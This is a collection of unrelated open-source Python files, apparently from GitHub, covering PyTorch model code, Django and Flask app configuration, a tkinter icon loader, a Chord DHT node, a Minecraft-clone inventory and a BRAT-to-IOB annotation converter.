self.squeeze_deconv = nn.ConvTranspose2d(squeeze_planes, squeeze_planes,
kernel_size=(1, 4),
stride=stride, padding=padding)
self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes, kernel_size=1)
if self.bn:
self.expand1x1_bn = nn.BatchNorm2d(expand1x1_planes, momentum=bn_d)
self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1)
if self.bn:
self.expand3x3_bn = nn.BatchNorm2d(expand3x3_planes, momentum=bn_d)
self.reset_parameters()
def forward(self, x):
x = self.squeeze(x)
if self.bn:
x = self.squeeze_bn(x)
x = self.activation(x)
x = self.activation(self.squeeze_deconv(x))
x_1x1 = self.expand1x1(x)
if self.bn:
x_1x1 = self.expand1x1_bn(x_1x1)
x_1x1 = self.activation(x_1x1)
x_3x3 = self.expand3x3(x)
if self.bn:
x_3x3 = self.expand3x3_bn(x_3x3)
x_3x3 = self.activation(x_3x3)
out = torch.cat([x_1x1, x_3x3], 1)
return out
class SELayer(nn.Module):
"""Squeeze and Excitation layer from SEnet
"""
def __init__(self, in_features, reduction=16):
super(SELayer, self).__init__()
self.avg_pool = nn.AdaptiveAvgPool2d(1)
self.fc = nn.Sequential(
nn.Linear(in_features, in_features // reduction, bias=False),
nn.ReLU(inplace=True),
nn.Linear(in_features // reduction, in_features, bias=False),
nn.Sigmoid()
)
def forward(self, x):
b, c, _, _ = x.size()
y = self.avg_pool(x).view(b, c)
y = self.fc(y).view(b, c, 1, 1)
x_scaled = x * y.expand_as(x)
return x_scaled
def init_bilinear(tensor):
"""Reset the weight and bias."""
nn.init.constant_(tensor, 0)
in_feat, out_feat, h, w = tensor.shape
assert h == 1, 'Now only support size_h=1'
assert in_feat == out_feat, \
'In bilinear interporlation mode, input channel size and output' \
'filter size should be the same'
factor_w = (w + 1) // 2
if w % 2 == 1:
center_w = factor_w - 1
else:
center_w = factor_w - 0.5
og_w = torch.reshape(torch.arange(w), (h, -1))
up_kernel = (1 - torch.abs(og_w - center_w) / factor_w)
for c in range(in_feat):
tensor.data[c, c, :, :] = up_kernel
init_methods = {
'xavier-normal': nn.init.xavier_normal_,
'xavier-uniform': nn.init.xavier_uniform_,
'kaiming': nn.init.kaiming_normal_,
'bilinear': init_bilinear,
} | [
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] |
x7/view/icons.py | gribbg/x7-view | 0 | 1603817 | <reponame>gribbg/x7-view<gh_stars>0
"""
Access routines to icons
"""
import tkinter as tk
from tkinter import ttk
from importlib import resources
from typing import Dict
ICONS_RESOURCE = 'x7.view.resources.icons'
icons_loaded: Dict[str, tk.PhotoImage] = dict()
def icon(tag: str, size=24) -> tk.PhotoImage:
"""Load an icon and return tk.PhotoImage for use elsewhere"""
res_name = '%s-%dx%d.png' % (tag, size, size)
with resources.path(ICONS_RESOURCE, res_name) as path:
path = str(path)
if path not in icons_loaded:
icons_loaded[path] = tk.PhotoImage(file=str(path))
return icons_loaded[path]
def test():
import os
res_icons = 'x7.view.resources.icons'
icons = []
print('is?', resources.is_resource(res_icons, 'pencil-24x24.png'))
with resources.path(res_icons, 'pencil-24x24.png') as path:
print('path: %s' % path)
suffix = '-24x24.png'
for fn in os.listdir(os.path.dirname(path)):
if fn.endswith(suffix):
icons.append(fn[:-len(suffix)])
root = tk.Tk()
root_frame = ttk.Frame(root)
root_frame.pack()
for row, size in enumerate([24, 32, 64]):
frame = ttk.Frame(root_frame)
frame.pack()
for col, ic in enumerate(icons):
ttk.Button(frame, image=icon(ic, size), style='Toolbutton').grid(row=row, column=col)
root.mainloop()
if __name__ == '__main__':
test()
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libs/models/__init__.py | awesome-archive/deeplab-pytorch | 0 | 84464 | <reponame>awesome-archive/deeplab-pytorch<filename>libs/models/__init__.py<gh_stars>0
from __future__ import absolute_import
from .resnet import *
from .deeplabv2 import *
from .deeplabv3 import *
from .deeplabv3plus import *
from .msc import *
def init_weights(model):
for m in model.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.Linear):
nn.init.kaiming_normal_(m.weight)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.BatchNorm2d):
nn.init.constant_(m.weight, 1)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
def DeepLabV2_ResNet101_MSC(n_classes):
return MSC(
base=DeepLabV2(
n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=[6, 12, 18, 24]
),
scales=[0.5, 0.75],
)
def DeepLabV2S_ResNet101_MSC(n_classes):
return MSC(
base=DeepLabV2(
n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=[3, 6, 9, 12]
),
scales=[0.5, 0.75],
)
def DeepLabV3_ResNet101_MSC(n_classes, output_stride):
if output_stride == 16:
atrous_rates = [6, 12, 18]
elif output_stride == 8:
atrous_rates = [12, 24, 36]
else:
NotImplementedError
return MSC(
base=DeepLabV3(
n_classes=n_classes,
n_blocks=[3, 4, 23, 3],
atrous_rates=atrous_rates,
multi_grids=[1, 2, 4],
output_stride=output_stride,
),
scales=[0.5, 0.75],
)
def DeepLabV3Plus_ResNet101_MSC(n_classes, output_stride):
if output_stride == 16:
atrous_rates = [6, 12, 18]
elif output_stride == 8:
atrous_rates = [12, 24, 36]
else:
NotImplementedError
return MSC(
base=DeepLabV3Plus(
n_classes=n_classes,
n_blocks=[3, 4, 23, 3],
atrous_rates=atrous_rates,
multi_grids=[1, 2, 4],
output_stride=output_stride,
),
scales=[0.5, 0.75],
)
| [
1,
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Ago-Dic-2018/Ernesto Vela/Practica 2/ThreeRestaurants.py | Arbupa/DAS_Sistemas | 41 | 1615956 | <reponame>Arbupa/DAS_Sistemas
class Restaurant:
def __init__(self, restaurant_name='', cuisine_type=''):
self.restaurant_name = restaurant_name
self.cuisine_type = cuisine_type
def describe_restaurant(self):
print('El nombre del restaurante es: ', self.restaurant_name)
print('El tipo de cocina del restaurante es: ', self.cuisine_type)
def open_restaurant(self):
print('El restaurante esta abierto')
restaurante_1 = Restaurant('Los mariachis', 'Mexicana')
restaurante_1.describe_restaurant()
restaurante_2 = Restaurant('Que elegancia la de francia', 'Francesa')
restaurante_2.describe_restaurant()
restaurante_3 = Restaurant('El dorado', 'Mariscos')
restaurante_3.describe_restaurant()
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cosmic_ray/operators/unary_operator_replacement.py | rob-smallshire/cosmic-ray | 0 | 12670 | <gh_stars>0
"""Implementation of the unary-operator-replacement operator.
"""
import ast
from .operator import Operator
from ..util import build_mutations
# None indicates we want to delete the operator
OPERATORS = (ast.UAdd, ast.USub, ast.Invert, ast.Not, None)
def _to_ops(from_op):
"""
The sequence of operators which `from_op` could be mutated to.
"""
for to_op in OPERATORS:
if to_op and isinstance(from_op, ast.Not):
# 'not' can only be removed but not replaced with
# '+', '-' or '~' b/c that may lead to strange results
pass
elif isinstance(from_op, ast.UAdd) and (to_op is None):
# '+1' => '1' yields equivalent mutations
pass
else:
yield to_op
class MutateUnaryOperator(Operator):
"""An operator that modifies unary operators."""
def visit_UnaryOp(self, node): # pylint: disable=invalid-name
"""
http://greentreesnakes.readthedocs.io/en/latest/nodes.html#UnaryOp
"""
return self.visit_mutation_site(
node,
len(build_mutations([node.op], _to_ops)))
def mutate(self, node, idx):
"Perform the `idx`th mutation on node."
_, to_op = build_mutations([node.op], _to_ops)[idx]
if to_op:
node.op = to_op()
return node
return node.operand
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coderedcms/wagtail_flexible_forms/edit_handlers.py | mikiec84/coderedcms | 9 | 11026 | from django.template.loader import render_to_string
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext as _
from wagtail.admin.edit_handlers import EditHandler
class FormSubmissionsPanel(EditHandler):
template = "wagtailforms/edit_handlers/form_responses_panel.html"
def bind_to_model(self, model):
new = super().bind_to_model(model)
if self.heading is None:
new.heading = _('{} submissions').format(model.get_verbose_name())
return new
def render(self):
Submission = self.model.get_submission_class()
submissions = Submission.objects.filter(page=self.instance)
submission_count = submissions.count()
if not submission_count:
return ''
return mark_safe(render_to_string(self.template, {
'self': self,
'submission_count': submission_count,
'last_submit_time': (submissions.order_by('submit_time')
.last().submit_time),
}))
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setup.py | aino/aino-convert | 1 | 158928 | from os.path import abspath, dirname, join as pjoin
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
fn = abspath(pjoin(dirname(__file__), 'README.rst'))
fp = open(fn, 'r')
long_description = fp.read()
fp.close()
setup(
name='aino-convert',
version='0.1.0.14',
url='https://github.com/aino/aino-convert',
license='BSD',
author='<NAME>',
author_email='<EMAIL>',
description='Magick for Django',
long_description=long_description,
classifiers=[
'Development Status :: 3 - Alpha',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
'Topic :: Multimedia :: Graphics',
'Framework :: Django',
],
packages=[
'convert',
'convert.conf',
'convert.templatetags',
],
platforms='any'
)
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src/app/node/local_stabilizing_node.py | acatalfano/chord-dht | 0 | 101601 | <filename>src/app/node/local_stabilizing_node.py
from typing import Callable
from threading import Thread, main_thread
from time import sleep
from .stabilizing_node import StabilizingNode
from ..node_data.local_node_data import LocalNodeData
from .node import Node
from ..utility.logger import Logger
class LocalStabilizingNode(StabilizingNode[LocalNodeData[StabilizingNode]]):
@staticmethod
def create_new_ring(name: str, id_method: Callable[[str], int]) -> 'LocalStabilizingNode':
node = LocalStabilizingNode(name, id_method)
node._finger_table[0] = node.as_node_data()
node.predecessor = node._get_null_object()
Logger.logger().info('Start a ring with node %d', node.id)
node._deploy_stabilizing_tasks()
return node
@staticmethod
def __spin(operation: Callable[[], None]) -> None:
while main_thread().is_alive():
operation()
sleep(1)
def _deploy_stabilizing_tasks(self) -> None:
operations: list[Callable[[], None]] = [
self._stabilize,
self._fix_fingers,
self._check_predecessor
]
threads = [Thread(target=LocalStabilizingNode.__spin, args=[operation])
for operation in operations]
for t in threads:
t.start()
def _get_successor_predecessor(self) -> LocalNodeData:
assert(self.successor.reference is not None)
return self.successor.reference.predecessor
def _get_next_successor(self, node_data: LocalNodeData, digest: int, hops: int) -> tuple[LocalNodeData, int]:
assert(node_data.reference is not None)
return node_data.reference.find_successor(digest, hops)
def _notify_successor(self, potential_predecessor: LocalNodeData) -> None:
assert(self.successor.reference is not None)
self.successor.reference._notify(potential_predecessor)
def _get_null_object(self) -> LocalNodeData:
return LocalNodeData(-1, None)
def as_node_data(self) -> LocalNodeData:
return LocalNodeData(self.id, self, self.predecessor, self.successor)
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] |
machine-learning/ml-projects/stereo-cam-v1/utils/train_utils.py | olaals/masteroppgave2 | 0 | 161006 | import torch
import numpy as np
import matplotlib.pyplot as plt
def convert_tensor_to_RGB(network_output):
x = torch.FloatTensor([[.0, .0, .0], [1.0, .0, .0], [.0, .0, 1.0], [.0, 1.0, .0]])
converted_tensor = torch.nn.functional.embedding(network_output, x).permute(2,0,1)
return converted_tensor
def dice_scores(segmentation, ground_truth, classes):
dice_scores = []
for i in range(1,classes+1):
binary_gt = (ground_truth == i).astype(np.uint8)
binary_seg = (segmentation == i).astype(np.uint8)
intersect = np.logical_and(binary_gt, binary_seg)
sum_binary_gt = np.sum(binary_gt)
sum_binary_seg = np.sum(binary_seg)
if sum_binary_gt == 0:
continue
class_dice_score = np.sum(intersect)*2 / (sum_binary_gt+sum_binary_seg)
dice_scores.append(class_dice_score)
dice_scores = np.array(dice_scores)
return dice_scores
def image_stats(img):
data_type = type(img[0][0])
img_width = np.shape(img)[0]
img_height = np.shape(img)[1]
max_pix = np.max(img)
min_pix = np.min(img)
img_mean = np.mean(img)
img_std = np.std(img)
print(f'Type: {data_type}, Width: {img_width}, Height: {img_height}, Max: {max_pix}, Min: {min_pix}, Mean: {img_mean}, Std: {img_std}')
def tensor_stats(tensor_in):
tensor = tensor_in.clone()
tensor = tensor.double()
shape = tensor.shape
tensor_max = torch.max(tensor)
tensor_min = torch.min(tensor)
tensor_mean = torch.mean(tensor)
tensor_std = torch.std(tensor)
print(f"Tensor stats: Shape: {shape} Max: {tensor_max}, Min: {tensor_min}, Mean: {tensor_mean}, Std: {tensor_std}")
def get_mask_from_tensor(tensor, index, mask_index):
tensor_cp = tensor.clone().cpu()
tensor_masks = tensor_cp[index]
tensor_mask = tensor_masks[mask_index]
np_mask = tensor_mask.numpy()
print("np mask in get mask")
image_stats(np_mask)
return np_mask
def dice_loss(logits, target):
input = torch.functional.F.softmax(logits, 1)
smooth = 1.
input = input[:,1,:,:]
#print(input.shape)
#print(target.shape)
iflat = torch.reshape(input, (-1,))
tflat = target.view(-1)
intersection = (iflat * tflat).sum()
return 1 - ((2. * intersection + smooth) /
(iflat.sum() + tflat.sum() + smooth))
def weighted_combined_loss(loss_fn1, loss_fn2, weight=0.5):
def combined_loss(pred, Y):
return weight*loss_fn1(pred,Y) + (1-weight)*loss_fn2(pred,Y)
return combined_loss
def mean_dice_score(pred_batch, Y_batch, classes):
assert(pred_batch.size(0) == Y_batch.size(0))
cumulative_scores = np.zeros(classes)
for b_idx in range(pred_batch.size(0)):
mask = predb_to_mask(pred_batch, b_idx).numpy()
gt_tensor = Y_batch[b_idx].clone()
gt = gt_tensor.cpu().numpy()
batch_dice_score = dice_scores(mask, gt, classes)
cumulative_scores += batch_dice_score
avg_dice_scores = cumulative_scores / pred_batch.size(0)
avg_dice_score = np.average(avg_dice_scores)
return avg_dice_score, avg_dice_scores
def mean_pixel_accuracy(pred_batch, Y_batch):
return (pred_batch.argmax(dim=1) == Y_batch.cuda()).float().mean()
def batch_to_img(xb, idx):
img = np.array(xb[idx,0:3])
return img.transpose((1,2,0))
def predb_to_mask(pred_batch, idx):
p = torch.functional.F.softmax(pred_batch[idx], 0)
return p.argmax(0).cpu()
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calendar_aoc.py | Panurus/aoc_2021 | 0 | 148163 | import day1, day2, day3, day4, day5, day6
if __name__ == "__main__":
day1.main()
day2.main()
day3.main()
day4.main()
day5.main()
day6.main() | [
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mods/mcpython/player.py | uuk0/mcpython-a-minecraft-clone-in-python | 2 | 154230 | from moduls import *
from oredictnames import *
from Inventorys import *
import Item
import crafting as cb
import config
from Inventorys import *
from Inventorys.Inventory import Slot, handler as invhandler, InventoryHandler
import EventHandler
import entity
class player:
def __init__(self, window):
self.inventory = PlayerInventory(window, self)
self.mode = 1 # 0:nichts, 1:hotbar, 2:survival_inventory, 3:creativ_inventory, 4: creativ_tab [self.creativ_tab_id], 5: crafting_table
self.gamemode = config.CONFIGS[
"DEFAULT_GAMEMODE"
] # 0:surivival, 1:creativ, 2:hardcore, 3:spectator
self.falling = False
self.fallhigh = 0
self.harts = 20
self.hartholder = PlayerHartHandler(self)
self.window = window
self.creativ_tab_id = None
self.block = None
invhandler.show(0)
self.dimension = 0
self.inventorys = [
self.inventory.hotbar,
self.inventory.rows,
self.inventory.armor,
self.inventory.crafting,
]
self.xp = 0
self.hunger = 8
self.model = entity.PlayerModel(self.window.position)
self.model.player = self
EventHandler.eventhandler.on_event("on_draw_3D", self.model.eventdraw)
EventHandler.eventhandler.on_event("on_player_move", self.model.eventmove)
def addToFreePlace(self, name, amount=1, start=0):
if type(name) == list:
for i, e in enumerate(name):
self.addToFreePlace(e, amount[i], start)
return True
for i in self.inventorys:
for e in i.slots:
if e.id < start:
pass
elif e.item and e.item.getName() == name:
if e.amount + amount - 1 < e.item.getMaxStackSize():
e.amount += amount
return True
elif e.amount < e.item.getMaxStackSize():
amount = amount - (e.item.getMaxStackSize() - e.amount)
e.amount = e.item.getMaxStackSize()
for i in self.inventorys:
for e in i.slots:
if e.id < start:
pass
elif not e.item:
print("setting ", 1)
e.setItem(name)
if e.item.getMaxStackSize() < amount and False:
e.amount = e.item.getMaxStackSize()
amount -= e.item.getMaxStackSize()
else:
e.amount = amount
return True
print("[ERROR] no inventor place found")
return False
def setPlace(self, id, name):
invhandler.sfromid[id].setItem(name)
def getPlace(self, id):
return invhandler.sfromid[id].item
def getSlot(self, id):
return invhandler.inventoryslotsinst[id]
def update(self):
if self.harts == 0 and self.gamemode != 3 and self.gamemode != 1:
self.window.kill("player hearts go down")
class PlayerInventory:
def __init__(self, window, master):
self.window = window
self.master = master
self.hotbar = player_hotbar.hotbar()
self.rows = player_rows.rows()
self.armor = player_armor.armor()
self.crafting = player_crafting.crafting()
self.moving_slot = None
self.moving_start = None
self.none_slot = Slot(0, 0)
def draw(self):
pass
def resetMovingSlot(self):
self.moving_slot.setPos(*self.moving_start)
def on_mouse_press(self, eventname, x, y, button, modifiers):
if button == mouse.LEFT:
if not self.moving_slot:
# self.moving_slot = self.none_slot
self.moving_slot = self.getPress(x, y)
if self.moving_slot:
if invhandler.inventoryslotsinst[self.moving_slot.id].item:
self.moving_start = (
invhandler.inventoryslotsinst[self.moving_slot.id].x,
invhandler.inventoryslotsinst[self.moving_slot.id].y,
)
self.moving_slot = invhandler.inventoryslotsinst[
self.moving_slot.id
]
else:
self.moving_slot = None
else:
self.moving_slot = None
else:
end = self.getPress(x, y)
if end and end.mode == "o":
return
if end == None:
(self.moving_slot.x, self.moving_slot.y) = self.moving_start
self.moving_slot = None
return
itemA = self.moving_slot.item
itemB = end.item
amountA = self.moving_slot.amount
amountB = end.amount
if (
self.moving_slot == self.crafting.slots[4]
or self.moving_slot.stid == "minecraft:slot:crafting_table:out"
):
cb.craftinghandler.removeOutput_player(self.master)
self.moving_slot.x, self.moving_slot.y = 531, 287
self.resetMovingSlot()
if end.id in list(range(0, 9)):
self.rows.slots[end.id].setItem(end.item)
self.rows.slots[end.id].amount = end.amount
if not itemB:
end.setItem(itemA)
end.amount = amountA
self.resetMovingSlot()
self.moving_slot.setItem(None)
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
return
elif itemA and itemB and itemA.getName() == itemB.getName():
if amountA + amountB <= itemA.getMaxStackSize():
end.amount = amountA + amountB
self.resetMovingSlot()
self.moving_slot.item = None
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
return
else:
d = itemA.getMaxStackSize() - end.amount
end.amount = itemA.getMaxStackSize()
self.moving_slot.amount -= d
cb.craftinghandler.updateOutput_player(self.master)
return
else:
end.setItem(itemA)
end.amount = amountA
self.moving_slot.setItem(itemB)
self.moving_slot.amount = amountB
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
return
elif button == mouse.RIGHT:
if self.moving_slot:
slot = self.getPress(x, y)
if slot and (
(
slot.item
and slot.item.getName() == self.moving_slot.item.getName()
)
or not slot.item
):
if slot.amount + 1 <= self.moving_slot.item.getMaxStackSize():
slot.amount += 1
slot.setItem(self.moving_slot.item.getName())
self.moving_slot.amount -= 1
if self.moving_slot.amount == 0:
self.moving_slot.x, self.moving_slot.y = self.moving_start
self.moving_slot = None
cb.craftinghandler.updateOutput_player(self.master)
elif (
button == mouse.MIDDLE
and not self.moving_slot
and self.master.gamemode == 1
):
slot = self.getPress(x, y)
if not slot.item:
return
self.moving_slot = self.none_slot
self.moving_start = (0, 0)
self.moving_slot.setItem(slot.item)
self.moving_slot.amount = slot.item.getMaxStackSize()
def on_mouse_motion(self, eventname, x, y, dx, dy):
if self.moving_slot:
self.moving_slot.x, self.moving_slot.y = x, y
def on_mouse_release(self, x, y, button, modifiers):
pass
def getPress(self, x, y, debug=False):
self.scor = []
for e in invhandler.shown:
for e in invhandler.inventoryinst[e].slots:
self.scor.append(e)
slothigh, slotwight = 50, 40
for s in self.scor:
if x >= s.x:
if x <= s.x + slotwight:
if y >= s.y:
if y <= s.y + slothigh:
if self.moving_slot == None or self.moving_slot.id != s.id:
return s
elif debug:
print(5, s, s.id)
elif debug:
print(4, s, s.id)
elif debug:
print(3, s, s.id)
elif debug:
print(2, s, s.id)
elif debug:
print(1, s, s.id)
return None
def on_shift(self):
pass
playerinst = None
import texturGroups
class PlayerHartHandler:
def __init__(self, player):
self.player = player
res = texturGroups.handler.groups["./assets/textures/gui/icons/harts_no.png"]
self.sprites = [
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
pyglet.sprite.Sprite(res),
] # pyglet.sprite.Sprite(texturGroups.handler.groups[imagefile])
for i, e in enumerate(self.sprites):
x = i * 20 + 190
y = 80
e.position = (x, y)
def draw(self):
if self.player.gamemode == 1 or self.player.gamemode == 3:
return
harts = self.player.harts
for i, e in enumerate(self.sprites):
if 2 * (i + 1) > harts:
e.image = texturGroups.handler.groups[
"./assets/textures/gui/icons/harts_no.png"
]
elif i * 2 < harts or (harts % 2 == 0 and i * 2 == harts):
e.image = texturGroups.handler.groups[
"./assets/textures/gui/icons/hart_full.png"
]
else:
e.image = texturGroups.handler.groups[
"./assets/textures/gui/icons/hart_half.png"
]
e.draw()
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converters/brat2iob.py | Banguiskode/nerds | 15 | 8295 | import argparse
import operator
import os
import re
import shutil
import spacy
import tempfile
from nerds.utils import spans_to_tokens, get_logger
def segment_text_to_sentences(text_file, sentence_splitter):
""" Segment text into sentences. Text is provided by BRAT in .txt
file.
Args:
text_file (str): the full path to the BRAT .txt file.
sentence_splitter (spacy LM): SpaCy EN language model.
Returns:
sentences (list((int, int, str))): list of sentence spans.
Spans are triples of (start_offset, end_offset, text),
where offset is relative to the text.
"""
sentences = []
ftext = open(text_file, "r")
for line in ftext:
splits = sentence_splitter(line.strip())
for sent in splits.sents:
sentences.append((sent.start_char, sent.end_char, sent.text))
ftext.close()
return sentences
def parse_text_annotations(ann_file):
""" Parses BRAT annotations provided in the .ann file and converts them
to annotation spans of (start_position, end_position, entity_class).
Args:
ann_file (str): full path to the BRAT .ann file.
Returns:
annotations (list((int, int, str))): list of annotation spans.
Spans are triples of (start_offset, end_offset, entity_class)
where offset is relative to the text.
"""
annots = []
fann = open(ann_file, "r")
for line in fann:
cols = re.split(r"\s+", line.strip())
if not cols[0].startswith("T"):
continue
annots.append((int(cols[2]), int(cols[3]), cols[1]))
fann.close()
return annots
def apply_annotations(sentences, annotations, tokenizer):
""" Apply annotation spans to the sentence spans to create a list of tokens
and tags.
Args:
sentences (list((int, int, str))): list of sentence spans.
annotations (list((int, int, str))): list of annotation spans.
tokenizer (spacy LM): SpaCy EN language model.
Returns:
tokens_tags_list (list((list(str), list(str)))): list of list of token
tag pairs. Each list of token-tag pairs corresponds to a single
sentence.
"""
tokens_tags_list = []
for sent_start, sent_end, sent_text in sentences:
sent_annots = [a for a in annotations if a[0] >= sent_start and a[1] <= sent_end]
# convert document offsets to sentence offsets
sent_annots = [(s[0] - sent_start, s[1] - sent_start, s[2]) for s in sent_annots]
tokens, tags = spans_to_tokens(sent_text, sent_annots, tokenizer)
tokens_tags_list.append(zip(tokens, tags))
return tokens_tags_list
def convert_brat_to_iob(input_dir, output_file, nlp):
""" Convenience Convertor function.
Args:
input_dir (str): the directory where the BRAT .txt and .ann files
are located.
output_file (str): the full path name of file to write output in
IOB format to.
nlp (SpaCy LM): reference to the SpaCy EN model.
Returns:
None.
"""
fout = open(output_file, "w")
for text_file in os.listdir(input_dir):
# only process .txt and .ann pairs in specified directory
if not text_file.endswith(".txt"):
continue
annot_file = text_file[:-4] + ".ann"
if not os.path.exists(os.path.join(input_dir, annot_file)):
# do not process file if no corresponding .ann file
continue
# process file pair
logger.info("Processing file: {:s}".format(text_file))
sentences = segment_text_to_sentences(os.path.join(input_dir, text_file), nlp)
annotations = parse_text_annotations(os.path.join(input_dir, annot_file))
tokens_tags_list = apply_annotations(sentences, annotations, nlp)
for tokens_tags in tokens_tags_list:
for token, tag in tokens_tags:
fout.write("{:s}\t{:s}\n".format(token, tag))
fout.write("\n")
fout.close()
def do_self_test(nlp):
""" Simple self-test with small dataset to prove that this works okay. """
text = "<NAME>, 61 years old, will join the board as a nonexecutive director, Nov. 29. Mr. Vinken is chairman of Elsevier N.V., the Dutch publishing group."
annotations = [
"T1 PER 0 13 <NAME>",
"T2 PER 86 96 Mr. Vinken",
"T3 DATE 15 27 61 years old",
"T4 DATE 77 84 Nov. 29",
"T5 ORG 112 125 Elsevier N.V.",
"T6 NORP 131 136 Dutch"
]
input_dir = tempfile.mkdtemp(dir="/tmp")
ftext = open(os.path.join(input_dir, "test.txt"), "w")
ftext.write(text)
ftext.close()
fann = open(os.path.join(input_dir, "test.ann"), "w")
for line in annotations:
fann.write(line + "\n")
fann.close()
output_file = os.path.join(input_dir, "test.iob")
convert_brat_to_iob(input_dir, output_file, nlp)
fout = open(output_file, "r")
for line in fout:
logger.warn(line.strip())
shutil.rmtree(input_dir)
################################ main ################################
#
# usage: brat2iob.py [-h] [-i INPUT_DIR] [-o OUTPUT_FILE] [-t]
# Script to convert BRAT annotations to IOB (NERDS) format.
# optional arguments:
# -h, --help show this help message and exit
# -i INPUT_DIR, --input_dir INPUT_DIR
# Directory to store BRAT .txt and .ann files.
# -o OUTPUT_FILE, --output_file OUTPUT_FILE
# Output file to write IOB output to.
# -t, --test Runs self test.
######################################################################
parser = argparse.ArgumentParser(
description="Script to convert BRAT annotations to IOB (NERDS) format.")
parser.add_argument("-i", "--input_dir", help="Directory to store BRAT .txt and .ann files.")
parser.add_argument("-o", "--output_file", help="Output file to write IOB output to.")
parser.add_argument("-t", "--test", help="Runs self test.", action="store_true")
args = parser.parse_args()
logger = get_logger()
input_dir = args.input_dir
output_file = args.output_file
self_test = args.test
nlp = spacy.load("en")
if self_test:
logger.info("Executing self test...")
do_self_test(nlp)
else:
logger.info("Reading BRAT .txt and .ann files from: {:s}".format(input_dir))
logger.info("Writing IOB tokens/tags to file: {:s}".format(output_file))
convert_brat_to_iob(input_dir, output_file, nlp)
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] |
config/urls.py | bineetgh/examday | 0 | 172341 | from django.conf import settings
from django.contrib import admin
from django.urls import path, include
from django.views.generic.base import TemplateView
from django.conf.urls import include, url
urlpatterns = [
path('admin/', admin.site.urls),
path('accounts/', include('allauth.urls')),
path('accounts/profile/',
TemplateView.as_view(template_name='account/profile.html')),
path('', include('pages.urls')),
path('exam/', include('exam.urls')),
]
if settings.DEBUG:
import debug_toolbar
urlpatterns = [
path('__debug__/', include(debug_toolbar.urls)),
] + urlpatterns
| [
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] |
website/userData.py | marvkey/onlineDatabsase | 0 | 108334 | from sqlalchemy.sql.expression import false
from . import db
from flask_login import UserMixin
from sqlalchemy.sql import func
class User(db.Model,UserMixin):
id = db.Column(db.Integer, primary_key=True)
email =db.Column(db.String(150),unique=True)
firstname = db.Column(db.String(150))
lastname = db.Column(db.String(150))
username = db.Column(db.String(150))
password = db.Column(db.String(150))
date_created = db.Column(db.DateTime(timezone=True), default=func.now())
file =db.relationship("SavedItem",backref="user",passive_deletes=True)
class SavedItem(db.Model):
id = db.Column(db.Integer,primary_key=True)
file = db.Column(db.LargeBinary)
name = db.Column(db.String(150),nullable=False)
Description = db.Column(db.String(1000))
date_created = db.Column(db.DateTime(timezone=True),default=func.now())
author = db.Column(db.Integer, db.ForeignKey('user.id', ondelete="CASCADE"), nullable=False) | [
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cpo_pipeline/typing/__init__.py | DiDigsDNA/cpo-pipeline | 0 | 31889 | """
typing module
"""
from . import pipeline
from . import parsers
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utils/vis.py | tanyinghui/Minimal-Hand-pytorch | 158 | 196716 | <filename>utils/vis.py
import matplotlib.pyplot as plt
def plot3d(joints_,ax, title=None):
joints = joints_.copy()
ax.plot(joints[:, 0], joints[:, 1], joints[:, 2], 'yo', label='keypoint')
ax.plot(joints[:5, 0], joints[:5, 1],
joints[:5, 2],
'r',
label='thumb')
ax.plot(joints[[0, 5, 6, 7, 8, ], 0], joints[[0, 5, 6, 7, 8, ], 1],
joints[[0, 5, 6, 7, 8, ], 2],
'b',
label='index')
ax.plot(joints[[0, 9, 10, 11, 12, ], 0], joints[[0, 9, 10, 11, 12], 1],
joints[[0, 9, 10, 11, 12], 2],
'b',
label='middle')
ax.plot(joints[[0, 13, 14, 15, 16], 0], joints[[0, 13, 14, 15, 16], 1],
joints[[0, 13, 14, 15, 16], 2],
'b',
label='ring')
ax.plot(joints[[0, 17, 18, 19, 20], 0], joints[[0, 17, 18, 19, 20], 1],
joints[[0, 17, 18, 19, 20], 2],
'b',
label='pinky')
# snap convention
ax.plot(joints[4][0], joints[4][1], joints[4][2], 'rD', label='thumb')
ax.plot(joints[8][0], joints[8][1], joints[8][2], 'ro', label='index')
ax.plot(joints[12][0], joints[12][1], joints[12][2], 'ro', label='middle')
ax.plot(joints[16][0], joints[16][1], joints[16][2], 'ro', label='ring')
ax.plot(joints[20][0], joints[20][1], joints[20][2], 'ro', label='pinky')
# plt.plot(joints [1:, 0], joints [1:, 1], joints [1:, 2], 'o')
ax.set_xlabel('x')
ax.set_ylabel('y')
ax.set_zlabel('z')
ax.set_xlim(xmin=-1.0,xmax=1.0)
ax.set_ylim(ymin=-1.0,ymax=1.0)
ax.set_zlim(zmin=-1.0,zmax=1.0)
# plt.legend()
# ax.view_init(330, 110)
ax.view_init(-90, -90)
return ax
def multi_plot3d(jointss_, title=None):
jointss = jointss_.copy()
fig = plt.figure(figsize=[50, 50])
ax = fig.add_subplot(111, projection='3d')
colors = ['b', 'r', "g"]
for i in range(len(jointss)):
joints = jointss[i]
plt.plot(joints[:, 0], joints[:, 1], joints[:, 2], 'yo')
plt.plot(joints[:5, 0], joints[:5, 1],
joints[:5, 2],
colors[i],
)
plt.plot(joints[[0, 5, 6, 7, 8, ], 0], joints[[0, 5, 6, 7, 8, ], 1],
joints[[0, 5, 6, 7, 8, ], 2],
colors[i],
)
plt.plot(joints[[0, 9, 10, 11, 12, ], 0], joints[[0, 9, 10, 11, 12], 1],
joints[[0, 9, 10, 11, 12], 2],
colors[i],
)
